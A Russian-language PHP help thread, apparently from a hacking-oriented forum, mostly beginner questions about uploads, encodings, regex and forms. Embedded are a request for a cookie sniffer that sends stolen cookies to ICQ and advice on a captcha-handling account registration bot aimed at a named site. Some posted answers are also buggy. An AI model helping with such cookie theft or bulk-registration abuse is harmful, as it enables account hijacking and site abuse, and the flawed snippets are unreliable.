$target_path = "uploads/";
ну это, пробовал сюда асболют писать, начиная c "/"?
Nightmarе
php.net
move_uploaded_file()'s return codes are not allways obious !
Unable to move '/var/tmp/phpuuAVJv' to '/home/me/website.com/upload/images/hello.png'
will apear if your disk is full, or the webserver (www user) exeeded it's disk qouta. (probably some others)
i dont know if its a bug (just not iplemented) or a feature (to hide from 3rd parties details about the system or about the specific error) ?
it happend to me that after several months of successful operation, the disk filled up and qouta exeeded.
it took me long time, finding out why all the sudden my scripts didnt work properly anymore.
если это хостинг то может у тебя для даного доммена/пользователя закончилось отведённое пространство ?
Всем привет,народ подскажите простой php скрипт для отправки куков в асю,стоко тем просморел везде отчеты идут на мыло на log.txt, а вот сниффер чтобы куки слал в асю ни где не нашел такого кто нить может скрипт подсказать?
Всем привет,народ подскажите простой php скрипт для отправки куков в асю,стоко тем просморел везде отчеты идут на мыло на log.txt, а вот сниффер чтобы куки слал в асю ни где не нашел такого кто нить может скрипт подсказать?
WebIcqPro,гугли.
int color = Integer.decode("0x" + rs.getString("color"));
есть ли аналог на php?
есть ли аналог на php?
Скажи что подается в качестве аргументов, и что тебе на выходе нужно.
подаётся значение цвета, например: 0099FF
на выходе идёт запись в бд. значение столбика: int(8)
подаётся значение цвета, например: 0099FF
на выходе идёт запись в бд. значение столбика: int(8)
:)
Вот держи, спешиал фор ю.
<?php
function html2bin($color)
{
sscanf($color, "%2x%2x%2x", $red, $green, $blue);
return ($red . $green . $blue);
}
echo html2bin('0099FF');
?>
Долго не тестировал,но моя фантазия говорит мне что работать должно.И никакого секса с php ><
курим дальше:
long time = Long.valueOf(rs.getInt("timeInDays"));
подаётся цифра, например: 10
на выходе идёт запись в бд. значение столбика: bigint(40)
курим дальше:
подаётся цифра, например: 10
на выходе идёт запись в бд. значение столбика: bigint(40)
Давай поточнее,что нужно то? Я с полусслова ен понимаю :(
Есть такой вопрос, на странице отображаеться инфа из БД, в виде "Имя - X", "Имя - X", "Имя - X", где Х может быть любым числом, (все это стоят в бд, к примеру "Васек, 15"). 15 - это в свое время озночает к примеру - "чел". Как можно сделать чтобы на старнице показывалось "чел", а не 15.
NovoxydonoceR
28.02.2010, 16:46
Ребята такой вопрос,
Вот есть простой сайт из уроков Попова про php+mysql,тама есть исходник+ к нему база
Стоит appserver 2.9 заливаю сайт,создаю базу,импортирую базу в кодировке cp_1251_general_ci
запускаю на локальном сервер,появляется,но текст который указан в базе sql,на странице отображается вопросиками,слева навигационная панель,работает нормально,хотя она прописана на самой страничке php и в той же страничке указана кодировка windows-1251
В чем может быть проблема,в самой базе если смотреть этот текст,он нормально русскими буквами отображается,в браузере тоже стоит кирилица,все правильно
Также заливаю со всеми делами на базу апач в линуксе,тама все идеально работает,весь тектс нормальн отображается,в чем ожет быть проблема,сама база легкая,может это дело в appserver
Хотя сам я создавла страничку c php,создавал базу ,тоже самое,вопросики
Ставил джумлу,dataline,другие php движки,с заливанием баз,все нормально отображается..
Есть такой вопрос, на странице отображаеться инфа из БД, в виде "Имя - X", "Имя - X", "Имя - X", где Х может быть любым числом, (все это стоят в бд, к примеру "Васек, 15"). 15 - это в свое время озночает к примеру - "чел". Как можно сделать чтобы на старнице показывалось "чел", а не 15.
if($var = 15){
echo 'чел';
}
Ребята такой вопрос,
Вот есть простой сайт из уроков Попова про php+mysql,тама есть исходник+ к нему база
Стоит appserver 2.9 заливаю сайт,создаю базу,импортирую базу в кодировке cp_1251_general_ci
запускаю на локальном сервер,появляется,но текст который указан в базе sql,на странице отображается вопросиками,слева навигационная панель,работает нормально,хотя она прописана на самой страничке php и в той же страничке указана кодировка windows-1251
В чем может быть проблема,в самой базе если смотреть этот текст,он нормально русскими буквами отображается,в браузере тоже стоит кирилица,все правильно
Также заливаю со всеми делами на базу апач в линуксе,тама все идеально работает,весь тектс нормальн отображается,в чем ожет быть проблема,сама база легкая,может это дело в appserver
Хотя сам я создавла страничку c php,создавал базу ,тоже самое,вопросики
Ставил джумлу,dataline,другие php движки,с заливанием баз,все нормально отображается..
Пропиши насильственно кодировку в .htaccess
AddDefaultCharset windows-1251
Dark_cracker
28.02.2010, 23:51
если на сайте стоит поле <textarea name=textst></textarea> и потом то что пользователь ввёл, отлавливает яваскрипт и посылает на урл и после отправки ява выводит пльзователю результат... можна ли это подделать curl ??? и потом отпарсить результат если его нету в html ???
wildshaman
28.02.2010, 23:57
Можно, smartsniff в помощь
В html он в любом случае отдается.
Dark_cracker
01.03.2010, 00:03
Можно, smartsniff в помощь
В html он в любом случае отдается.
чёта гугл молчит ((( эта функция в php ? или чё ?
хочу написать реггер
в регистрации капча
что я делаю: генерирую имена,пароли и т.д. выдираю PHPSESSID,потом захожу с этой сессией на site.ru/img.php,вставляю img.php с учетом PHPSESSID в тег img src
что не правильно? :(
у тя что каптчу невыводит? или при передали постом- пишет что неразкгаданна каптча?
получил адрес каптчи? командой echo вывел на экран? (для проверки) ошибок в адресе нет? (возможно ли увидеть с этой ссылкой через браузер только каптчу?)
P.S.если с каптчей неработал следующий твой вопрос будет почему я отправляю каптчу и данные и ничего непроисходит :D
http://forum.antichat.ru/thread182331.html
посмотри-я там каптчу выводил (рамблер)(это в качестве примера там комент //получаем адрес каптчи) я просто незнаю с каким сайтом ты работаеш
я так понял там капча такого вида 7dssdgsd732.jpg
там понятно,что до jpg - все генерится каждый раз по-новому,а у меня все генерится с одного адреса
да,я с капчей основательно первый раз
http://memory.ru/modules/captcha/captcha_code.php?num=2
P.S. Где ты такие данные нашол?))
P.S. Где ты такие данные нашол?))
ну дык я грузить не хотел сначала никого и сайт палить,но так получилось :D
ну дык я грузить не хотел сначала никого и сайт палить,но так получилось :D
самое главное чтоб помогло)))
хз
я уже столько перечитал и переслушал %)
Dark_cracker
01.03.2010, 01:00
мне не кто не ответит ?? (((
хз
я уже столько перечитал и переслушал %)
на будующее правой кнопркой мышки по каптче- копировать адрес изображения- открываеш в новой вкладке - копируеш последние цифры- открываеш исходный код страници и поиском ищещ где в странице указанна каптча- удачи)))
на будующее правой кнопркой мышки по каптче- копировать адрес изображения- открываеш в новой вкладке - копируеш последние цифры- открываеш исходный код страници и поиском ищещ где в странице указанна каптча- удачи)))
про это в курсах
Есть
<?
$file = file_get_contents('file.txt');
$newfile = preg_replace("</a>\r\n","</a>",$file);
$f = fopen('newfile.txt', 'w');
fwrite($f, $newfile);
?>
Пишет ошибку
Warning: preg_replace() [function.preg-replace]: Unknown modifier ' ' in S:\home\test1.ru\www\test\xxx.php on line 3
ЧТо не так? Спасибо )
Dark_cracker
01.03.2010, 18:59
$newfile = str_replace("</a>\r\n","</a>",$file);
напиши так, будет работать))
Как с помощью php использовать 3 таких чекбокса
<HTML>
<form action="password.php" method="post">
<input type="checkbox" name="h1" value="1" />Первый<br />
<input type="checkbox" name="h1" value="2" />Второй<br />
<input type="checkbox" name="h1" value="3" />Третий<br />
<input type="submit" value="Подтвердить" />
</form>
</HTML>
Типа переменная
$a = чекбоксу1
$b = чекбоксу2
$c = чекбоксу2
Если не правильная форма прошу исправить.
Заранее спасибо
Dark_cracker
01.03.2010, 19:03
Как с помощью php использовать 3 таких чекбокса
<HTML>
<form action="password.php" method="post">
<input type="checkbox" name="h1" value="1" />Первый<br />
<input type="checkbox" name="h1" value="2" />Второй<br />
<input type="checkbox" name="h1" value="3" />Третий<br />
<input type="submit" value="Подтвердить" />
</form>
</HTML>
Типа переменная
$a = чекбоксу1
$b = чекбоксу2
$c = чекбоксу2
Если не правильная форма прошу исправить.
Заранее спасибо
пиши для каждого чек бокса name свой и потом в php принемай $_POST['h1'] и т.д.
Вопрос: Пишу перменные (к примеру: $mysqluser) тут же пишу коннект к бд все работает, далее следует функция (вызова через УРЛ). В ней я также использую эту перменную, но в данном случае она не работает. (приходиться эту перенненую в функция снова вписывать)
Вопрос: Пишу перменные (к примеру: $mysqluser) тут же пишу коннект к бд все работает, далее следует функция (вызова через УРЛ). В ней я также использую эту перменную, но в данном случае она не работает. (приходиться эту перенненую в функция снова вписывать)
кидай сразу свой скрипт
Есть
<?
$file = file_get_contents('file.txt');
$newfile = preg_replace("</a>\r\n","</a>",$file);
$f = fopen('newfile.txt', 'w');
fwrite($f, $newfile);
?>
Пишет ошибку
Warning: preg_replace() [function.preg-replace]: Unknown modifier ' ' in S:\home\test1.ru\www\test\xxx.php on line 3
ЧТо не так? Спасибо )
$newfile = preg_replace('|</a>\r\n|',"</a>",$file);
кидай сразу свой скрипт
$newfile = preg_replace('|</a>\r\n|',"</a>",$file);
Лучше не использовать | в виде ограничителя,этот символ зарезервирован,и могут возникнуть проблемы :)
Это я так.
mailbrush
01.03.2010, 23:28
Лучше не использовать | в виде ограничителя,этот символ зарезервирован,и могут возникнуть проблемы :)
Это я так.
Если уж на это пошло, то я видел, что многие используют "/" в качестве ограничителя. Это тоже не очень правильно, ибо часто встречается этот символ, приходится экранировать. Я советую юзать символ "#". Это я так :)
Если уж на это пошло, то я видел, что многие используют "/" в качестве ограничителя. Это тоже не очень правильно, ибо часто встречается этот символ, приходится экранировать. Я советую юзать символ "#". Это я так :)
Я тоже юзаю его,сошлись в мнениях1
Dark_cracker
02.03.2010, 00:40
m0Hze, mailbrush наркоманы =) :D
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot